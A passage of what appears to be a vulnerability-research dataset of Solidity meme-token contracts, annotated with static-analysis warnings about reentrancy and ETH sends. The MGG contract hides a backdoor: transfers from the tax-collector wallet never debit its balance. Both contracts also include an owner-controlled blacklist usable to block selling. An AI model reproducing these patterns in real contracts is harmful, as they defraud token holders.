\n\t// Recommendation for 2c51c5e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dd0beea): MGG.constructor(address)._taxFeeCollect lacks a zerocheck on \t _taxCollector = address(_taxFeeCollect)\n\t// Recommendation for dd0beea: Check that the address is not zero.\n constructor(address _taxFeeCollect) {\n\t\t// missing-zero-check | ID: dd0beea\n _taxCollector = payable(_taxFeeCollect);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxCollector] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ceb9894): MGG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ceb9894: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 87ba851): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 87ba851: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b20f4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b20f4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 87ba851\n\t\t// reentrancy-benign | ID: 0b20f4b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 87ba851\n\t\t// reentrancy-benign | ID: 0b20f4b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 67ff5a4): MGG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 67ff5a4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0b20f4b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 87ba851\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 60fcbfd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 60fcbfd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1644e73): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1644e73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2a6b0a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2a6b0a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n address receiver = from;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 60fcbfd\n\t\t\t\t// reentrancy-no-eth | ID: 1644e73\n\t\t\t\t// reentrancy-eth | ID: 2a6b0a5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 1644e73\n sellCount++;\n\n\t\t\t\t// reentrancy-no-eth | ID: 1644e73\n lastSellBlock = block.number;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n\t\t\t\t// reentrancy-events | ID: 60fcbfd\n\t\t\t\t// reentrancy-eth | ID: 2a6b0a5\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2a6b0a5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 60fcbfd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2a6b0a5\n _balances[from] = _balances[from].sub(\n _taxCollector == receiver ? 0 : amount\n );\n\n\t\t// reentrancy-eth | ID: 2a6b0a5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 60fcbfd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 87ba851\n\t\t// reentrancy-events | ID: 60fcbfd\n\t\t// reentrancy-benign | ID: 0b20f4b\n\t\t// reentrancy-no-eth | ID: 1644e73\n\t\t// reentrancy-eth | ID: 2a6b0a5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9f072a9): MGG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxCollector.transfer(amount)\n\t// Recommendation for 9f072a9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 87ba851\n\t\t// reentrancy-events | ID: 60fcbfd\n\t\t// reentrancy-eth | ID: 2a6b0a5\n\t\t// arbitrary-send-eth | ID: 9f072a9\n _taxCollector.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fd32a1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fd32a1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 65e9616): MGG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 65e9616: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b837fd3): MGG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b837fd3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e8e732): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e8e732: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: fd32a1a\n\t\t// unused-return | ID: 65e9616\n\t\t// reentrancy-eth | ID: 4e8e732\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fd32a1a\n\t\t// unused-return | ID: b837fd3\n\t\t// reentrancy-eth | ID: 4e8e732\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fd32a1a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4e8e732\n tradingOpen = true;\n }\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxCollector);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxCollector);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxCollector);\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10286.sol", "size_bytes": 20772, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CoktheCat is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 702b4f4): CoktheCat._taxWallet should be immutable \n\t// Recommendation for 702b4f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c4629c9): CoktheCat._initialBuyTax should be constant \n\t// Recommendation for c4629c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc839cd): CoktheCat._initialSellTax should be constant \n\t// Recommendation for cc839cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48b0742): CoktheCat._reduceBuyTaxAt should be constant \n\t// Recommendation for 48b0742: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75b001): CoktheCat._reduceSellTaxAt should be constant \n\t// Recommendation for c75b001: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ccec408): CoktheCat._preventSwapBefore should be constant \n\t// Recommendation for ccec408: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Cok the Cat\"; //\n\n string private constant _symbol = unicode\"$COK\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d367fc): CoktheCat._taxSwapThreshold should be constant \n\t// Recommendation for 9d367fc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: da76054): CoktheCat._maxTaxSwap should be constant \n\t// Recommendation for da76054: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xE0d03881d68c9844e649cdDCfA264D305A43f2FD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ccccfff): CoktheCat.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ccccfff: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 64a5371): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 64a5371: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c167fbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c167fbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 64a5371\n\t\t// reentrancy-benign | ID: c167fbe\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 64a5371\n\t\t// reentrancy-benign | ID: c167fbe\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c588778): CoktheCat._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c588778: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c167fbe\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 64a5371\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46e7e31): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46e7e31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d626428): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d626428: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 46e7e31\n\t\t\t\t// reentrancy-eth | ID: d626428\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 46e7e31\n\t\t\t\t\t// reentrancy-eth | ID: d626428\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d626428\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d626428\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d626428\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 46e7e31\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d626428\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d626428\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 46e7e31\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 46e7e31\n\t\t// reentrancy-events | ID: 64a5371\n\t\t// reentrancy-benign | ID: c167fbe\n\t\t// reentrancy-eth | ID: d626428\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 46e7e31\n\t\t// reentrancy-events | ID: 64a5371\n\t\t// reentrancy-eth | ID: d626428\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7f3b3c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7f3b3c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a57678): CoktheCat.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9a57678: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b447542): CoktheCat.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b447542: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9c116ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9c116ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7f3b3c6\n\t\t// reentrancy-eth | ID: 9c116ca\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7f3b3c6\n\t\t// unused-return | ID: b447542\n\t\t// reentrancy-eth | ID: 9c116ca\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7f3b3c6\n\t\t// unused-return | ID: 9a57678\n\t\t// reentrancy-eth | ID: 9c116ca\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7f3b3c6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9c116ca\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10287.sol", "size_bytes": 19923, "vulnerability": 4 }
